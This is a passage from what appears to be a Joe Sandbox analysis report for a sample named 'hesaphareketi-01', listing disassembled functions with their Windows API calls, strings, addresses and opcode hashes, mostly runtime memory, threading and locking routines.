GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00007FF7341D55CB), ref: 00007FF7341DAEAA
GetProcessAffinityMask.KERNEL32 ref: 00007FF7341DAEBD
QueryInformationJobObject.KERNEL32 ref: 00007FF7341DAF0E

Strings

PROCESSOR_COUNT, xrefs: 00007FF7341DAE76

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Process$AffinityCurrent$AllocErrorGroupHighestInfoInformationLastMaskNodeNumaNumberObjectQuerySystem_wcsicmp
String ID: PROCESSOR_COUNT
API String ID: 296690692-4048346908
Opcode ID: b270e94377580d3288a1bcf3e941d1207372f9dfc2ea9df1a3f3ba46b40a03d9
Instruction ID: 184e066ee406d4384f849d3142e6575cc5df99f50ed20037761f647b6776fc80
Opcode Fuzzy Hash: b270e94377580d3288a1bcf3e941d1207372f9dfc2ea9df1a3f3ba46b40a03d9
Instruction Fuzzy Hash: 383183B2A08A4252EE5CEF5AE4C02BDE3A1EF45794FC40035D64DC7695DE3CE449E720

Function 00007FF7341D6480 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF7341D6535
RaiseFailFastException.KERNEL32(?,?,?,00007FF73428CFD2,?,?,?,?,?,00007FF7341D3941), ref: 00007FF7341D6561
RaiseFailFastException.KERNEL32(?,?,?,00007FF73428CFD2), ref: 00007FF7341D659A

Strings

Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code., xrefs: 00007FF7341D6586

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: ExceptionFailFastRaise$Sleep
String ID: Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code.
API String ID: 3706814929-926682358
Opcode ID: fec1ccdd5174ac2505eae89ee321da76851430eb507b79bb22477138be6a87ff
Instruction ID: d3094dc0b6db9bf1ebeebdb73110983e8a87e5a493e3233e1c668a86af481231
Opcode Fuzzy Hash: fec1ccdd5174ac2505eae89ee321da76851430eb507b79bb22477138be6a87ff
Instruction Fuzzy Hash: 98414276929A41A2EF98BF16F490379B3A0EF15B88F844039C94D833A4DF3DE440D350

Function 00007FF7341DB130 Relevance: 6.0, APIs: 4, Instructions: 26
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00007FF7341DB151
SetThreadPriority.KERNELBASE ref: 00007FF7341DB16D
ResumeThread.KERNELBASE ref: 00007FF7341DB176
FindCloseChangeNotification.KERNELBASE ref: 00007FF7341DB17F

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Thread$ChangeCloseCreateFindNotificationPriorityResume
String ID:
API String ID: 2150560229-0
Opcode ID: 797a42ad1a02e68e8dda0a1c160f46f9bccc89019008f5d8015a25128a62028d
Instruction ID: f17ba89e616bbe0081b42f42c9416947bdf2876a94d0f3af73327a59b1e0eb0c
Opcode Fuzzy Hash: 797a42ad1a02e68e8dda0a1c160f46f9bccc89019008f5d8015a25128a62028d
Instruction Fuzzy Hash: 21E06DA5B0471292EB19AF22BC5837AA350AF98B85F884038CD4E57364EF3C91859610

Function 00007FF7341E1E90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7341E1EC7
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7341E1F8C

Strings

@, xrefs: 00007FF7341E1F84

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CurrentGlobalMemoryProcessStatus
String ID: @
API String ID: 3261791682-2766056989
Opcode ID: 08fb357760ee07a770a744109e7a6e344503c8149823deb5f180863c7e2f9c72
Instruction ID: 9c737f8a50a79c5cb41553b8acdc989b8ec6d69c4095b94159e4a1de3dac0fe0
Opcode Fuzzy Hash: 08fb357760ee07a770a744109e7a6e344503c8149823deb5f180863c7e2f9c72
Instruction Fuzzy Hash: 03412235A09F0652E99ADE37A1A0339D2526F5ABC0F58C731E90EA3784FF3DE4C19610

Function 00007FF734201470 Relevance: 5.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF7341ED326,?,-8000000000000000,00000001,00007FF7341FC4E6), ref: 00007FF7342014FA
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF7341ED326,?,-8000000000000000,00000001,00007FF7341FC4E6), ref: 00007FF734201569
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF7341ED326,?,-8000000000000000,00000001,00007FF7341FC4E6), ref: 00007FF7342015B2
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00007FF7341ED326,?,-8000000000000000,00000001,00007FF7341FC4E6), ref: 00007FF7342015C8

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: b425638a6e70c30cd72ce7cc57c0788705c17328c805340536d3a1b7a1700000
Instruction ID: 59d622d09cedc81576e92fd542a0794a8e3f9abd7cde62d30b24a1ef0d36cc44
Opcode Fuzzy Hash: b425638a6e70c30cd72ce7cc57c0788705c17328c805340536d3a1b7a1700000
Instruction Fuzzy Hash: 87518422A08A42B1EB28EF12E8C4274E7A0FF05794FC40135DA5DE7AA5CF3DE555E321

Function 00007FF7342102E0 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,00000001,00007FF7341FD839), ref: 00007FF734210320
LeaveCriticalSection.KERNEL32(?,00000000,00000001,00007FF7341FD839), ref: 00007FF734210396
EnterCriticalSection.KERNEL32(?,00000000,00000001,00007FF7341FD839), ref: 00007FF7342103EE
LeaveCriticalSection.KERNEL32(?,00000000,00000001,00007FF7341FD839), ref: 00007FF734210414

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 13d948e5fa3df0cfca703f1770c43ab0ec44fa3814605dd8c07f8631823b0f7e
Instruction ID: 0d230f44eebb4bba072126c4d1826a3ed1d41bf599041253bf2b6c3df1437775
Opcode Fuzzy Hash: 13d948e5fa3df0cfca703f1770c43ab0ec44fa3814605dd8c07f8631823b0f7e
Instruction Fuzzy Hash: 53414F62A0C616B2EA28FF03E8C0379E264FF15350FC50039D94DE7A92DE7DE840A321

Function 00007FF7341ECD40 Relevance: 4.7, APIs: 3, Instructions: 195
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SwitchToThread.KERNEL32 ref: 00007FF7341ECE22
SwitchToThread.KERNEL32 ref: 00007FF7341ECE2B

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 0367fbf184d9da815e74a64e67e3c73c88d77959e1b0efac48cd030915a12f3a
Instruction ID: 0247cbf28bcf3c0c3cb277d1e697104915b0aad3c2f0d447f8d3bd24e592d9bb
Opcode Fuzzy Hash: 0367fbf184d9da815e74a64e67e3c73c88d77959e1b0efac48cd030915a12f3a
Instruction Fuzzy Hash: FF718625F08A4367FA2C7F57B8C0675A691AF01744F840139E95DE71D1EF3DF480A664

Function 00007FF7341E2740 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?,00000000,00007FF7341E5158,?,?,0000000A,00007FF7341E41B0,?,?,00000000,00007FF7341DE8A1), ref: 00007FF7341E2767
GetCurrentProcess.KERNEL32(?,?,?,?,00000000,00007FF7341E5158,?,?,0000000A,00007FF7341E41B0,?,?,00000000,00007FF7341DE8A1), ref: 00007FF7341E2787
VirtualAllocExNuma.KERNEL32 ref: 00007FF7341E27A8

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: AllocVirtual$CurrentNumaProcess
String ID:
API String ID: 647533253-0
Opcode ID: 0ee9833a7794a767601698390b6fdb287f23bc31715070173f580906f203b271
Instruction ID: 35d595c7fbe956ae3fa9ab02320a8af92d12a6f17285edfa13219d68e0ae19b1
Opcode Fuzzy Hash: 0ee9833a7794a767601698390b6fdb287f23bc31715070173f580906f203b271
Instruction Fuzzy Hash: 04F0C271B086E183EB249F06F440229E760AB49FD5F980139EF8C67B68CF3DD5819B14

Function 00007FF7341D9D50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EventRegister.ADVAPI32(?,?,?,00007FF7341D56E4), ref: 00007FF7341D9DA5

Strings

gcConservative, xrefs: 00007FF7341D9E14

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: EventRegister
String ID: gcConservative
API String ID: 3840811365-1953527212
Opcode ID: ffe3c2faf81b3ef910fad80c62d0f8518216a282887ed91876dae107d6d140ff
Instruction ID: 42a7216b01e88a5b23b91b2d2038e6822da3e74497e7e05dc857c5fe5f6a03f6
Opcode Fuzzy Hash: ffe3c2faf81b3ef910fad80c62d0f8518216a282887ed91876dae107d6d140ff
Instruction Fuzzy Hash: AC311B63A19A47A1EE08BF56F8C01B9A370FB46B48FC00039C94D9B661DF3CE544E760

Function 00007FF734238D70 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF734238E79,?,?,?,?,00007FF7341DD9D1,?,?,?,00007FF7341DDF4C,00000000,00000020,?), ref: 00007FF734238D8A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF734238DA0

Part of subcall function 00007FF7342397AC: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7342397B5

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_taskmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 205171174-0
Opcode ID: 95691fa6baedfe018d50a01fc6fec94552b967e93a3eb7814b2b8a2ad8293209
Instruction ID: d07579c633ae30739752e7054d42287003f8fc781facff7d0a24bae4ab253354
Opcode Fuzzy Hash: 95691fa6baedfe018d50a01fc6fec94552b967e93a3eb7814b2b8a2ad8293209
Instruction Fuzzy Hash: 11E0EC40E0910B71FD5D3D7318950B491A04F2A774EAC1B30DD3EEC2C2AD1FB451A530

Function 00007FF7341F64A0 Relevance: 2.6, APIs: 2, Instructions: 107COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF7341FC51D), ref: 00007FF7341F65BA
LeaveCriticalSection.KERNEL32(?,?,?,00007FF7341FC51D), ref: 00007FF7341F65DB

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 30e9e35b31ec2547a70cda4d383b3805e38872ae1b4e46b8a6fe90720136f9e7
Instruction ID: 02c9cfa6cb882105175325238e68868d80765958115444c29a9181d603deb233
Opcode Fuzzy Hash: 30e9e35b31ec2547a70cda4d383b3805e38872ae1b4e46b8a6fe90720136f9e7
Instruction Fuzzy Hash: 2141B862A18A42A5DA18AF17A9C0174A394EF15BF4F844338DA7CD76E9CF3CE442D350

Function 00007FF7341DFC50 Relevance: 2.6, APIs: 2, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 00007FF7341DFCD0

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d4ca215575fd0c6e0bae6fe572d759c8f06235c4c5b30343d008d1ca5d55f1ae
Instruction ID: d53fa511f0f61d0b7c2eb2aedb227e9b2a2980feec2bf06efb73e89247d08d90
Opcode Fuzzy Hash: d4ca215575fd0c6e0bae6fe572d759c8f06235c4c5b30343d008d1ca5d55f1ae
Instruction Fuzzy Hash: 1431D073B05E1292EA18AF16A49013AA3A0EF4ABD0F848134DF4D97B94DF38E5629350

Function 00007FF734210440 Relevance: 2.5, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7341E27D0: VirtualFree.KERNELBASE ref: 00007FF7341E27DA

EnterCriticalSection.KERNEL32(?,?,?,00007FF7341F64F9,?,?,?,00007FF7341FC51D), ref: 00007FF734210472
LeaveCriticalSection.KERNEL32(?,?,?,00007FF7341F64F9,?,?,?,00007FF7341FC51D), ref: 00007FF73421049C

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterFreeLeaveVirtual
String ID:
API String ID: 1320683145-0
Opcode ID: b5911a8c8c100c65425a835202cd376d10abe74bf2f3be4458c4a8add018ab75
Instruction ID: 70c6925fce4735e5e35cdb8251be0d26cd36b53df17833f26c0f6fbfc15ef5f2
Opcode Fuzzy Hash: b5911a8c8c100c65425a835202cd376d10abe74bf2f3be4458c4a8add018ab75
Instruction Fuzzy Hash: 2FF08617E08652B0EA18AF17F8C4279E3A4BF417A0FC50139E55D97D52CE3CD881E310

Function 00007FF7341E2700 Relevance: 2.5, APIs: 2, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00007FF7341E2716
VirtualFree.KERNELBASE ref: 00007FF7341E272C

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 21fe628a8c245d1f009263de4e24fe02042f17ce3a1401def6f39cd1a18418fe
Instruction ID: 7c90269e8292c3b536e7e5d78d98ea3d491c31974f42414322fca9161387df1e
Opcode Fuzzy Hash: 21fe628a8c245d1f009263de4e24fe02042f17ce3a1401def6f39cd1a18418fe
Instruction Fuzzy Hash: A8E0C234F1651192EF1CAF13BCC266593916F9AB00FD4803CC40D93350DE3DA59AAB20

Function 00007FF7341E725E Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32 ref: 00007FF7341E72A4

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: bb02521482f357d091ee9155b463287af1990604d8e730fb2d95daa1db2f584a
Instruction ID: bd1f2a480c1a8d84bcce50ad0d033a878a0583cd2562d8ae065745df60586a67
Opcode Fuzzy Hash: bb02521482f357d091ee9155b463287af1990604d8e730fb2d95daa1db2f584a
Instruction Fuzzy Hash: 4341C62BE08A4253FA58AE13E4815B9B391EB457E0F840235DE6DA37C5DF3CE481A214

Function 00007FF7342742C0 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(?,?,?,?,00000010,?,?,?,?,?,?,?,00007FF73427421E), ref: 00007FF734274312

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 5e8ccba725479bacf824188a23d3d2666fff54803f6ae21bdc45e87f4798a48e
Instruction ID: 3940e745cdec12ac27e3a39c9a1dd6a5f1c0ab81211ca1db6660af4cffae6e47
Opcode Fuzzy Hash: 5e8ccba725479bacf824188a23d3d2666fff54803f6ae21bdc45e87f4798a48e
Instruction Fuzzy Hash: CE21F823E0C42275FB29BE63A8825FDD6606F41754FE44035ED5CA7A87DE2DA8839260

Function 00007FF7341D5780 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7341DA840: VirtualQuery.KERNEL32 ref: 00007FF7341DA872

RaiseFailFastException.KERNEL32 ref: 00007FF7341D5808

Memory Dump Source

